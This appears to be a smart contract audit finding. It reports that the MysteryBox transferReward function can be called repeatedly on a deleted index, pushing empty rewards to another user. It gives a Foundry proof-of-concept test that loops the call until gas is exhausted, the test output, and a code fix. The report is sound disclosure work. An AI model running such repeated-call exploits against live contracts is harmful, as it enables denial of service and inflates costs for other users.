Summary
transferReward
function improperly handles deleted elements in an array, enabling malicious actors to repeatedly drain gas by executing unnecessary transfers of default values, thereby congesting the network.
Vulnerability Details
Relevant code - transferReward
In the transferReward
function, when the delete operation is performed, the length of the rewardsOwned
array remains unchanged. This allows an attacker to repeatedly invoke the function with the same index, bypassing the require statement. As a result, the attacker can push the same element to rewardsOwned
multiple times. Since the element was already transferred, subsequent calls will lead to the addition of default values to the rewardsOwned
array. This exploitation can keep the system busy. Also allowing the attacker to manipulate the rewardsOwned
values of any user and lead to overflow.
POC
In existing test suite, add following test:
function testTransferRewardAttack() public {
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
assertEq(mysteryBox.boxesOwned(user1) , 2);
mysteryBox.openBox();
mysteryBox.openBox();
assertEq(mysteryBox.boxesOwned(user1) , 0);
mysteryBox.transferReward(user2, 1);
mysteryBox.transferReward(user2, 1);
vm.stopPrank();
vm.startPrank(user2);
MysteryBox.Reward[] memory array2 = mysteryBox.getRewards();
for(uint256 i ; i < array2.length ; i++){
console.log("The element", i , "is" , array2[i].name);
}
vm.stopPrank();
vm.startPrank(user1);
uint256 counter;
while(gasleft() > 10000){
mysteryBox.transferReward(user2, 1);
counter++;
}
console.log("Counter:" , counter);
console.log("The gas left:", gasleft());
vm.stopPrank();
}
run forge test --match-test testTransferRewardAttack -vv
in the terminal and it will return following output:
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 945.34ms
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testTransferRewardAttack() (gas: 1073679751)
Logs:
The element 0 is Coal
The element 1 is
Counter: 135545
The gas left: 2280
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 912.74ms (905.10ms CPU time)
Impact
The attack can lead to denial of service, increased transaction costs, overflow issues and degradation of user experience.
Tools Used
Manual Review, Foundry
Recommendations
function transferReward(address _to, uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
+ Reward memory reward = rewardsOwned[msg.sender][_index];
+ require(bytes(reward.name).length > 0 && reward.value > 0, "Reward is already claimed or invalid");
rewardsOwned[_to].push(reward);
delete rewardsOwned[msg.sender][_index];
}